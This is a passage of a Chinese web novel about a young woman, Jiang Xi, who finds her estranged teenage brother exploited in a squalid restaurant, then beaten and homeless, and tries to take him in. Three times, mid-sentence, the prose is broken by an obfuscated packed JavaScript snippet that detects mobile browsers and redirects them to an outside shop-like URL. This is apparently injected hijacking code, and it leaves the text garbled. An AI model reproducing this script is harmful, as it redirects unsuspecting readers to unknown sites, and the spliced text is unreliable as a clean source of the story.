其实也好打听。 蒋拂晓当年来蒋家时,凭借独特出色的外表,在十里八乡好好的“火了一把”,在一个小县城,一个打工的蓝眼睛小帅哥,还是非常引人注意的。 蒋熹收到舅舅发来的小饭店名字时,她已经在高铁上了。 望着外面飞速疾驰的点点光亮,蒋熹环臂,靠着玻璃窗,缓缓闭上眼睛。 等出高铁站,已经是凌晨了。 她来到提前预定好的酒店,简单收拾一下便躺下休息了。 早上,跟着导航来到小饭店,蒋熹不禁汗颜。 这是一个城中村的小饭店,招牌脏兮兮的,摇摇欲坠,门口放着两个大红盆,一个放没洗的碗筷,另一个放干净碗筷,也不一定干净,只是洗过。 整个小饭店,就像是被整个丢进下水道,从里到外、从上到下,全部裹满油腻腻的脏污。 就在蒋熹盯着碗沿上没洗干净的菜叶时,一道青涩冷淡的声音打断她的思绪:“你怎么在这?” 蒋熹抬眼,撞入一片汪洋大海:“呃,我来看看你。” 虽已立春,温度却尚未回升,男孩只穿了一件洗得发黄的白卫衣,牛仔裤很单薄,风一吹,裤管好像是空的。 上次姐弟俩的见面,仓促狼狈收场,现在再次见面,两人都有点不自在。 蒋拂晓垂眸,掩去惊讶,冷声冷气道:“我忙着呢,不接待,你走吧。” “我来吃饭。”蒋熹赶紧说,她快步进店,撩了撩头发,四下打量,勉强找到一个看起来最干净的小桌,走上前。 她刚准备落座,一个抹布“啪”的一声砸在凳子上,她将视线投向甩来抹布的人。 蒋拂晓倚靠在门框上,冷脸环臂:“没到吃饭时间,不接客……” 话音未落,一个大巴掌就拍在男孩后脑勺,一张粗犷的脸从男孩背后伸出:“臭小子,有客不接,又偷懒!” 那男人面露凶光,待他看见屋内站了个白净端美的姑娘,他立马换上一张笑眯眯的脸:“不好意思啊姑娘,你坐你坐,想吃什么就点,但是食材还在准备,要等等哈。” 蒋熹摇摇头:“没事,我可以等。” 说完,她心疼地看向蒋拂晓的后脑勺,那巴掌,好大一声,不知道有没有把她弟弟打坏。 蒋拂晓像是习惯了一般,冷冷看眼老板的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433156|200732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,闷闷地蹲在门口,打开水龙头,清水瞬间从管子涌出来,冲刷着红盆里的碗筷。 蒋熹抽出几张纸,垫在椅子上,将包包放在纸巾上。 她走上前,蹲在蒋拂晓身边。 蒋拂晓眼皮都不抬,他伸手挤一泵洗洁精,再将管子对准手掌,冲出白花花的泡沫。 突然,他猛地往前一扑,幸好及时撑住地面,否则就一头栽入冷水中了。 身后传来粗犷的声音:“死小子,少挤点,洗洁精不要钱啊!”是老板踹了蒋拂晓一脚。 说罢,老板转向蒋熹:“哎姑娘,洗碗有啥好看的,来坐着。” 蒋熹心疼弟弟,但碍于是弟弟的老板,不好发作,只好冷脸不搭理。 并且,她不坐椅子的原因有二,一,她此行的目的是看蒋拂晓,二,桌椅都太油太脏了,她担心将大衣坐出污渍,她可没有闲钱去添置一件价格不菲的大衣。 天气尚未回暖,早上太阳也没出,寒气一股接着一股往身上冒,蒋熹忍不住紧紧大衣。 她目光投向男孩冻得红彤彤的手,动作僵硬不灵活,两只手上都有几处冻疮,看了让人心疼,左手上暗红色的烫伤疤痕更加惹眼。 在蒋熹心里,蒋拂晓是她见过的最漂亮的男孩,当然这也是事实,现在这几处的冻疮,简直是精美艺术品上的瑕疵。 她直接拧上水龙头:“弄点热水吧,这么冻着也不是个事。” 蒋拂晓瞥眼她:“跟你没关系,别多管闲事。”说着,他就要伸手去拧水龙头。 蒋熹一把抓住他的手腕,高声对屋内的老板喊:“老板,有热水吗?这孩子手都冻烂了。” 老板看眼他们,随意道:“男子汉怕什么冷,不用热水,再说,烧热水不要钱啊!” 蒋熹还欲争辩,蒋拂晓拉把她,冷声:“好了,你别这么多事,赶紧走!” 蒋熹张张嘴,到嘴边的话又咽下去。 她再次蹲下,盯着男孩手上的冻疮。 蒋父在世时,虽然对蒋拂晓也不怎么样,但起码手上没长过冻疮,现在可好,这才离家不到十天,手上就东一块西一块的冻疮,时间长了还怎么得了。 一股怒气猛地冲上蒋熹的脑袋,她猛然起身,从包里掏出两张红色纸钞,拍到老板面前:“烧热水,给那孩子!” 一见到钱,那老板登时眉开眼笑,谄媚道:“好好好,我这就烧热水,别说洗碗了,就是洗澡的热水也有。” 边说,他还边不怀好意地上下打量蒋熹。 蒋熹被看得一阵恶寒,几乎要吐出来,于是她扭头就走。 那老板在后面嘀咕:“装什么装,不都是看上那死小子的皮了。” 这个店里蒋拂晓既充当洗碗工,也充当服务员,老板则是厨师,所以这个小饭店只有他们两个人。 到饭点,陆陆续续来人了。 多半是附近建筑工地的工人,点份米饭,再点两个菜,两三个人一桌,再抿口自带的劣质酒精勾兑的白酒,这算是他们劳苦一天的唯一乐趣了。 还有少数的附近居民,要么不想做饭,要么是朋友小聚。 还有一桌小姑娘,大概两三个人,边吃边偷眼瞧蒋拂晓,嬉笑一团。 蒋熹拎着包包,站在角落,看着蒋拂晓有模有样地前前后后忙活,又是端菜倒水,又是点菜,客人走了就收拾收拾桌面,将碗筷放盆里随便冲冲,油花子还浮在碗上呢,就又端上桌了。 蒋熹看着看着,突觉一阵恶心,快走两步去到室外,她宁愿在外面吹冷风,都不想再进去了。 等饭点过去,蒋拂晓闲下来,蹲在门口,慢吞吞地洗碗。 蒋熹站在一旁,她经过一番剧烈的心理斗争,鼓起勇气开口:“你什么时候忙完?” 蒋拂晓不说话,蒋熹又问了他几次,还是不开口,于是她只能作罢,老老实实端了个椅子坐在外面吹风,等蒋拂晓下班。 小巷中来来往往的人,都对这个坐在风中的女人投以注目礼。 米色大衣、灰色针织衫、牛仔微喇裤,搭上一双沙色尖头小高跟靴子,简约干练又精致漂亮,和这个小巷子、城中村格格不入。 几个化着妆、打扮很成熟的初中小姑娘,路过注意到蒋熹,她们正是爱美、崇拜成熟女人的年纪。 她们站在角落,嘻嘻笑笑,彼此拉拉扯扯,偷眼打量蒋熹。 蒋熹注意到,便对她们露出友好的微笑。 几个小姑娘这才鼓足勇气走上前,围在蒋熹身边,嬉笑打闹。 6.和老鼠同眠 站在饭店内的蒋拂晓见此,终归是未成年,还是掩饰不住情绪的年纪,垮了脸。 时间来到晚上十点半。 客人走得差不多了,饭店卫生也收拾完了,蒋熹盯着耗尽最后一丝电量、变成一块板砖的手机发呆。 一双运动鞋出现在她视线内。 被冻了一天的蒋熹动作迟缓地看向面前人,她吸吸鼻子。 蒋拂晓看她鼻尖冻的红彤彤的,脸颊上有被风吹出的干裂白色细纹,他眼神闪烁,高挺的鼻尖耸动两下,没说话,将外套往背上一甩,转身就走。 蒋熹紧随其后,因长时间久坐,刚起来时甚至踉跄了两步。 夜色下,天际处的高楼施工照明灯,亮的刺眼,塔吊的起重臂还在缓慢移动,这个贫瘠偏远的小县城,尚未进入沉睡。 姐弟俩的影子一前一后,在一个又一个路灯下迅速闪过。 蒋熹跟在弟弟身后,七拐八歪,在迷宫似的城中村穿梭,她甚至开始怀疑蒋拂晓是不是故意的,要把她拐卖了。 好在,五分钟后,蒋拂晓就闪身进入一个小平房。 蒋熹毫不犹豫地跟着推开门。 刚一踏入,一股淡淡的、奇怪的味道就飘过来,蒋熹默默捂住鼻子,眼睛扫过眼前的四扇门。 这是一个老旧平房,有四个房间,每个房间单独租出,厨房厕所客厅是公共的。 就在蒋熹犹豫要不要随便推开一扇门时,最左边的门被拉开,门后站着冷面蒋拂晓。 房间很小,只有一张床、一把凳子和一个兼桌子的低矮柜子。 蒋拂晓坐在床沿,低着头,盯着自己的脚尖。 蒋熹自觉拉过凳子,坐在男孩对面。 “你在饭店打黑工?”蒋熹轻声问。 蒋拂晓冷硬道:“跟你没关系,还有,我提前告诉你,你给那个家伙的两百块,我不可能给你报销的,谁让你多管闲事。” 蒋熹也不生气:“那你快开学了吧?” “不上了。” 蒋熹只当他在赌气,她站起身,环顾四周,虽然很简陋,但也……很简陋…… 这倒也正常,毕竟蒋拂晓离开蒋家时,身上只有一万多块,能有个遮风挡雨的屋顶就不错了,还挑什么呢? 蒋熹从包里拿出一个信封,递给男孩:“这里面有两万,你拿着,快开学了,别去打黑工了,我以后会定期给你汇生活费。” 这个折中的方法,也是蒋熹目前所能想到的最好的办法了。 她能力有限,把弟弟接到京城,她的负担会前所未有的加重,但不做点什么,她良心不安。 不知哪句话触碰到蒋拂晓的逆鳞,他瞬间被点炸了:“我说过了,我不要你的臭钱!我也不上学了!!” 蒋拂晓劈手夺过信封,狠狠地砸向墙面。 墙那边很快响起急促且大力的敲击。 蒋拂晓怒了,大跨步过去,用拳头狠狠敲击墙面回击,节奏比对面更快,力度比对面更狠。 完事后,蒋拂晓捡起信封,塞进蒋熹怀里,把她推搡出去,狠狠关上门。 蒋熹低头看看怀中信封,不禁苦笑,小时候像个白胖糯米团子的弟弟,已经变得浑身冒刺的小刺猬了。 第二天,蒋拂晓脸色更臭了,蒋熹只好先回京城,因为她明天一早还要上班。 忙完工作,蒋熹在工位上伸个懒腰,收拾好东西准备赴约,她和陈亦歌约了饭。 陈亦歌是她的大学室友兼闺蜜,是为数不多知道她家庭情况的人。 和蒋熹不同,陈亦歌没有从事金融的工作,而是继承“金牌经纪人”母亲的衣钵,成为一位新手经纪人。 待蒋熹来到约定餐厅,陈亦歌已经坐在靠窗的位置上了,看见蒋熹,她高兴挥手。 “怎么样?和你弟弟谈的怎么样了?”陈亦歌用公筷给她夹菜。 蒋熹苦笑:“没用,七年没见了,这孩子对我有怨气,甚至不愿意跟我说话。” “这也正常,你俩都七年没见了,差不多是陌生人了,对了他收下钱了吗?” “没有,要是收下了,我现在还能心安点。” “他在给一个小饭店打黑工,大冬天的,用冷水洗碗,手上都是冻疮,住在一个小平房,甚至是四人合租,那环境,简直……唉别提了。”蒋熹郁闷地放下筷子,一想到那个远在山城的弟弟,她就头疼。 陈亦歌也不知道怎么劝她,就凭蒋熹的责任心,她不可能不管弟弟,但如果管,又费时间又费心力。 蒋熹工作刚刚稳定下来,陈亦歌知道她为了留在京城,付出了多少精力、流了多少汗水,如果此刻付出大半时间在“和弟弟重建关系”这件事上,那么对于正处于事业上升期的蒋熹来说,将是个不可逆的打击。 现在看来,放弃蒋拂晓是最好的办法。 毕竟不管从法律上,还是从伦理上,蒋熹都已经仁至义尽了。 “就算你花费大量精力,每周回去一次,那你的钱包也支撑不住了呀。”陈亦歌略带调侃地说。 蒋熹苦笑应和,她深谙这个道理,自己不可能为了蒋拂晓,放弃京城的工作,回到山城。但…… “不论怎么样,拂晓是我养大的,不管什么血缘、协议,他都是我弟弟,看着他那个生活环境,我实在放不下心,我这周再回去一趟吧。”蒋熹深深呼出一口气,耸肩举杯,端果汁的手很稳。 陈亦歌看她一眼,心中暗暗叹气,同样举杯。她清楚,自己劝不了蒋熹,蒋熹不可能放弃蒋拂晓,他们之间的感情很复杂,既是姐弟,也是“母子”。 为节省一晚的住宿费,蒋熹这次周六早上才赶到山城。 一下飞机,她就直奔小饭店,饭点老板一见她,脸上露出怪异的表情,没好气地说:“那个死小子已经不在我这里了,你走吧。” 蒋熹傻眼了:“那您知道,他去哪里了吗?” 老板不耐烦地挥手赶人:“我又不是他爸,我怎么知道,快走快走,别耽误我做生意。” 蒋熹慢慢往蒋拂晓的租房走去,心里直打鼓,难道这孩子不想被自己找到,所以离开这里了? 她内心升腾起无边的悔意,如果拂晓有意躲她,那她就不可能再找到这孩子了。 上次应该强硬地把他带走的,或者直接多塞他点钱,就算他赚不到钱,也能吃饱饭。 想着想着,蒋熹已经站在平房前,遵循记忆,她悬着心推开最左边的门。 屋内,一个香肩半露的女人背对着蒋熹坐在一个男人腿上,男人的脸被女人挡住,看不真切,女人的长发随着动作一下一下的摇晃。 听着屋内的动静,蒋熹头皮瞬间发麻,头发几乎要立起来,她浑身颤栗,大脑一片空白,下意识地冲过去,一把推倒女人。 下一秒,一张扁平普通的脸出现在蒋熹视线内。 不是蒋拂晓。 蒋熹立刻道歉,转身就走。 身后响起女人尖锐的咒骂声和男人不干不净的粗语,但蒋熹却似刚从桑拿房走出一般,浑身爽利,心情放松。 路过客厅时,蒋熹迎面碰到一个男人,她刚准备擦身离开,那男人却拦住她,蒋熹一脸防备地看着男人。 那男人上下打量蒋熹:“你是不是上次来找那个小毛子的人?” “啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439912|200732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋熹大脑宕机一瞬,才反应过来,小毛子是指蒋拂晓。 “是。”蒋熹迟疑地回答,她不动声色地打量面前的男人,大裤衩人字拖,遮住眼睛的头发油腻发光,不知道他怎么看清路的。 “他没告诉你,他被房东轰走了?这么漂亮的马子,他都随便丢了,唉,长得好,是不一样。”那男人似乎有些遗憾,边摇头边往屋内走。 “哎等等,你是说,蒋拂晓被轰走了?”蒋熹错愕。 “是啊,”那男人言语中带有幸灾乐祸,“没钱被轰走了呗,估计现在缩在哪个角落当乞丐吧,他之前还住我隔壁呢,你俩的动静,都打扰我休息。” 蒋熹没再管男人低俗粗鲁的话,径直出了房子,沿着巷子漫无目的地走。 蒋拂晓现在在哪,她不清楚,估计就像那个男人说的,在城中村某个角落躺尸。 她现在真是追悔莫及,要是自己当初不想那么多利益牵扯、直接带他走,哪来现在这么多事,那孩子才十七岁,孤身一人,没什么社会经验,身上没什么钱,认知也不高,万一被拐卖了,怎么办? 被拐进黑砖窑,和好几个人同住一间逼仄恶臭的小屋,吃得汤汤水水,天天被鞭打,没等营救就被折磨个半死。 眼泪模糊了眼眶,吧嗒吧嗒往下掉。 蒋熹不是个爱掉金豆子的女孩,十五岁离家,打黑工被人骚扰,她没有哭,在学校被人嘲笑“收破烂的小女孩”,她没有哭,在公司实习,遭受不公平待遇,她也没有哭。 现在,悔恨焦急的眼泪,如断线的珠子,一颗接着一颗。 她快步在迷宫般的城中村穿梭,走遍每个胡同口,聚精会神地搜寻蒋拂晓的身影,甚至会翻开角落的杂物,吓得老鼠蟑螂四处逃窜。 终于,在一个死胡同口,她发现一个躺在稻草上的身影。 没有犹豫,她立刻奔上去,包包甩在一边,此刻她也顾不上干不干净,直接跪在地上,翻过那人的脸,即使沾上些许血污,也仍旧能看出精致漂亮。 她立刻对其“上下其手”,摸出面前人四肢完好后,蒋熹终于放下心。 看着弟弟身上的脚印和青紫,她的心脏揪起来得疼。 此刻的蒋拂晓也悠悠转醒,他瞪着迷迷糊糊的眼睛:“你,怎么在这?” 悔恨的劲已经过去,蒋熹怒上心头,这个孩子太桀骜不驯了! 遇到这么大的困难,都不知道给她打个电话吗? “我还要问你呢!怎么被人赶出来,和老鼠同床共枕了!” 蒋拂晓缓慢坐起身,双腿曲起,下巴搁在膝盖上,整个人迷迷瞪瞪的,仍旧嘴硬:“要你管,跟你没什么关系,我觉得这里挺好的。” 察觉到弟弟的不对劲,蒋熹手掌抚上弟弟的额头,滚烫炙手,是发烧了。 应该是身上伤口没有及时处理,引发了发炎和低烧。 蒋熹不敢再耽误,单薄的身体勉力架起弟弟,往外走。 蒋拂晓不愿意,整个人扭动起来。他虽然才一米七出头,比蒋熹高不了多少,但男孩的大骨架摆在那里,轻不到哪去,能撑起弟弟的身体,蒋熹已是强弩之末。 现在蒋拂晓又不听话扭来扭去,蒋熹气上心头,没什么力度的一巴掌呼在他头上:“人都要烧的只会流鼻涕了,还在较劲!” 男孩被烧得迷迷糊糊,平时的冷言冷语也被烧得温热。 男孩委屈的声音响起:“我的行李。” 蒋熹回头看眼地上脏兮兮的行李包:“待会回来帮你拿。” 脏兮兮的,还以为是垃圾呢,怎么可能有人捡? 事实证明,还真会有人捡。 7.医院 两人打车前往医院,等安顿好,蒋拂晓坐在输液大厅时,外面天色已经完全黑下来。 在蒋拂晓的催促下,蒋熹再次打车前往城中村,去取行李包。 怎料,稻草上哪还有行李包的影子! 蒋熹头晕目眩,她甚至以为自己走错了,于是又把城中村寻了一遍。 最后发现,行李包真、的、不、见、了! 回到医院,蒋拂晓急哄哄地询问:“我行李呢,拿到没有?快给我!” 蒋熹莫名觉得心虚,但她转念一想,自己是姐姐,弟弟怎么能用这种质问、不客气的语气跟她说话呢? 更何况她当时不是为了早点送蒋拂晓来医院吗? 这么想着,蒋熹恢复点气势:“不好意思啊,可能是丢了,里面都是衣服对吧,姐姐再给你买新的,好吗?” 蒋拂晓错愕大叫:“什么!丢了!都怪你!我都说了,不来医院不来医院!”说着说着,他要拔手背上的针头,探出腿就要走。 这声大吼,吸引来输液大厅的所有视线,大家都好奇地往这边看。 蒋熹脸颊微微发红,她也有点生气,明明这么做都是为了蒋拂晓好,现在,蒋拂晓反过头来倒打一耙! 她紧走两步,在蒋拂晓身前蹲下,按住他的手,耐下性子劝他:“拂晓,我当时只想着快点送你来医院,我也没想到会是这个后果,我们先输液,有什么事,我们出了医院再谈,好吗?” 蒋拂晓同样注意到数道投射到他身上的视线,他耳根发红,也有点不好意思,但怒气未消,于是偏过头去,不肯再看蒋熹。 最后一滴药水输入蒋拂晓的静脉后,他立刻奔向医院大门,烧没完全退,走路都还有点摇摇晃晃。 蒋熹担心他出事,赶紧上前搀扶住他,拦下一辆出租车。 再次回到胡同口,蒋拂晓仔仔细细、里里外外地搜寻了一番,他甚至想挨家挨户敲门,询问行李包的下落。 蒋熹实在看不下去了,弄丢行李,她很自责,可当时情况紧急,再让她选一次,她还会这么做。 行李包里都是衣服,就算有什么值钱的东西,她赔还不行吗?至于这么紧张、神经兮兮的吗? 她一把拽住蒋拂晓的衣袖,哄他:“抱歉拂晓,弄丢你的行李,我很自责,如果你担心的是衣服,我重新给你添置新的,如果你担心的是钱或者其他贵重物品,我赔给你,好吗?” 蒋拂晓不听,执拗地继续寻找。 蒋熹落在他身后,站在原地捏捏眉心,现在已经快晚上十点了,除了在飞机上吃的早餐,她今天就没有进食了。 加上一整天精神紧绷地寻找蒋拂晓、找到后又着急忙慌地将他送去医院,情绪跌宕起伏,她深感身体吃不消。 于是她冲前面的蒋拂晓大喊:“拂晓,你丢了什么,我都赔给你行不行,我们现在可以先回酒店休息一会儿吗?或者我们明天再出来找?” 蒋拂晓脚下一顿,旋即转身,气势汹汹地向她走来。 走近了,蒋熹才发现蒋拂晓早已眼眶通红,满脸泪痕,平日的冷淡和理智被他抛之脑后:“钱钱钱!你就知道钱,你是不是以为什么问题都能拿钱解决!你怎么这么狂妄自大,你觉得你的钱可以解决我的所有问题吗?每次见面都把钱甩我脸上,蒋熹,你是不是觉得你特别大方、特别慷慨,你是不是觉得,你的穷弟弟,只图你的钱,只要你的钱!蒋熹!我恨你,你真是铁石心肠!!” 说完,蒋拂晓风也似的跑远了,独留蒋熹在原地凌乱。 什么钱?什么钱可以解决任何问题?这是哪对哪啊? 不多犹豫,蒋熹跟上去,在转角,瞧见蹲在墙根埋头哭泣的蒋拂晓。 蒋熹轻轻叹气,缓步上前,弯腰,伸出温暖的手,托起蒋拂晓烧得通红的脸,蒋拂晓倔强扭头,但蒋熹强硬地捏住他的下颚。 幽蓝深邃的眼睛,在夜色下闪烁着诡谲美艳的光芒,这是七年来,蒋熹第一次这么仔细地观察蒋拂晓的脸。 线条凌厉利索,鼻梁高挺,眉骨高耸,典型的东方皮西方骨,真是一张让人过目不忘的、惊为天人的脸。 他哭得很厉害,晶莹的泪水顺着线条漂亮的脸蛋往下,滑入蒋熹的手心,整个人像是块融化的冰块。 他委屈又眷恋地盯着眼前的女人,借着高烧未退,他罕见地暴露内心,戴了七年的面具,此时此刻裂开一道缝隙。 他是一条蚕,在姐姐离开前,他舞动着柔软白净的身体在桑叶上肆意驰骋;姐姐离开后,它开始吐丝,将自己紧紧包裹住,遮掩自己柔软的身躯;再次重逢,姐姐轻易地把他的茧撕开一道血淋淋的缝隙,露出他柔软无骨的身体。 七年了,她终于回到他的身边,但每次见她,她都会带着羞辱般地往他身上扔一沓钱,她根本不想要自己,她心里根本没有他,她不爱他。 蒋拂晓哭得喘不上气,身体一抽一抽的,蒋熹叹口气,蹲下身,将男孩按进自己怀里。 她今天叹的气,比前小半辈子加起来叹的气还要多。 “我没有拿钱羞辱你的意思,我想让你过得好一点,所以才给你钱,我也不认为,你图我的钱。” 一滴又一滴的热泪流入蒋熹的脖颈内,蒋拂晓嗅着女人身上清新甜美的香味,抽抽噎噎地说:“你根本就不想管我,你别在这里惺惺作态了。” 蒋熹真觉得自己跳入黄河都洗不清了:“拂晓,我要是不想管你,我就不会一而再再而三地回山城,除了你,山城就没有值得我牵挂的了。” 怀中人抽噎声渐渐小下去,直到彻底消失,他推开蒋熹,揉揉通红的鼻尖,不太好意思地转过头。 “还在和我置气?”蒋熹试探地问。 蒋拂晓摇摇头,但旋即又点点头。 一阵寒风吹来,姐弟俩都打了个寒颤。 “先和我回酒店好吗?我们找个温暖的地方再聊?” 这次,蒋拂晓没有再拒绝,而是扭捏地站起身,蒋熹轻声笑了笑,在前面带路。 由于没有换洗衣物,蒋拂晓只好裹着浴袍出来,从头到脚裹得严严实实,注意到蒋熹的视线落到自己身上,蒋拂晓便红了脸,他梗着脖子冷声道:“我要穿衣服。” 蒋熹忍不住逗他:“害羞什么,你哪里是我没见过的,你可是我一手带大的。” 蒋拂晓又羞又恼,干脆关上卫生间门,在里面不出来。 酒店服务员送来衣服后,蒋拂晓换上干燥温暖的衣服,才肯出来。 “好了,说吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446530|200732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,行李包里面到底有什么,你那么着急?”蒋熹好整以暇地窝进椅子。 坐在床沿的蒋拂晓手脚有些局促,但他尽力装出不以为意的样子:“没什么,就一些衣服。” “没什么?”虽然狐疑,但蒋熹没多问,转而问起另外一件事,她抬抬下巴:“那身上的伤是怎么回事?” 蒋拂晓垂下脑袋,几根呆毛傻傻地立在头顶:“打黑工,那个老板不给我钱,我就跟他打了一架。” “被打成这个样子?我怎么感觉你是单方面被殴打?”蒋熹挑眉。 “好吧,其实对面有五个人……”蒋拂晓的声音越来越低。 蒋熹坐直身体,拳头攥紧:“报警了吗?” “报了,”蒋拂晓从枕头下拿出一沓钱,“十天,加上医药费,两千。” “两千!”蒋熹蹭的一下站起来,少有的激动起来,“不仅给人干活,大冬天的冷水洗碗,还被人群殴,这才两千!” 蒋熹在屋内来来回回地走,既愤怒又心疼。 她站定,蹲在弟弟面前,心疼地托起他的胳膊,上面青紫一片:“还疼不疼?” 蒋拂晓摇头。 “既然你有钱,那你为什么不付房租,为什么要睡在外面?”蒋熹质问他。 “我只有两千,下个工作还没着落,我得吃饭。”蒋拂晓老实回答。 蒋熹眼眶一酸,心头像是被什么扎了一下,细细密密地疼,她凑近蒋拂晓,额头贴着额头:“没事了,以后姐姐养你。” 蒋拂晓垂下眼睛,语气失落:“算了,你早晚要回京城的,没有时间管我的,顶多就是甩给我一点钱。” 蒋熹凝视着男孩,他蝶翼般的眼睫扑闪着,一个强烈的念头冲上蒋熹心头,她深深吸上一口气。郑重开口:“拂晓,你愿意跟我去京城吗?” 蒋拂晓瞥眼她,过了很久,缓慢摇头:“不,我不去。” “为什么?”蒋熹怔愣,山城的日子已经过得一地鸡毛了,还不愿意跟自己离开吗? “你并不是真心想带我走,不然父亲葬礼那天,你就会带我走了。”蒋拂晓有理有据。 蒋熹心虚地移开视线,没错,带蒋拂晓去京城,是没有办法的办法,她不能再放任蒋拂晓留在山城,否则,下一次她见到的,可能就是冷冰冰的尸体。 “但是我现在是真心想让你跟我离开,我会养你,我会供你上学,拂晓,我是你姐姐,我应该养你,我也有能力养你。”蒋熹诚恳地说。 蒋拂晓低着头,仿佛睡着了一般,一直不说话,他好似又变成重逢时的那个冷冰冰的人。 蒋熹握了握他冰凉的双手,叹气,今天两人的关系好歹是初步破冰了,慢慢来吧,没法一口吃成个胖子。 “这件事我们之后再聊,夜深了,我们先休息吧。”蒋熹捏捏弟弟的肩膀。 关了灯,室内一片黑暗,今夜多云,没有一丝月光,蒋拂晓听着身边平稳熟悉的呼吸声,呆呆地盯了天花板一夜。 第二天,蒋熹醒来,身边早已空无一人,伸手抚摸,早已凉透。 枕边有一张纸条:我走了,你别来找我,我会照顾好自己。 蒋熹丢下纸条,捂住脸,一股强烈的无力、挫败感瞬间席卷了她。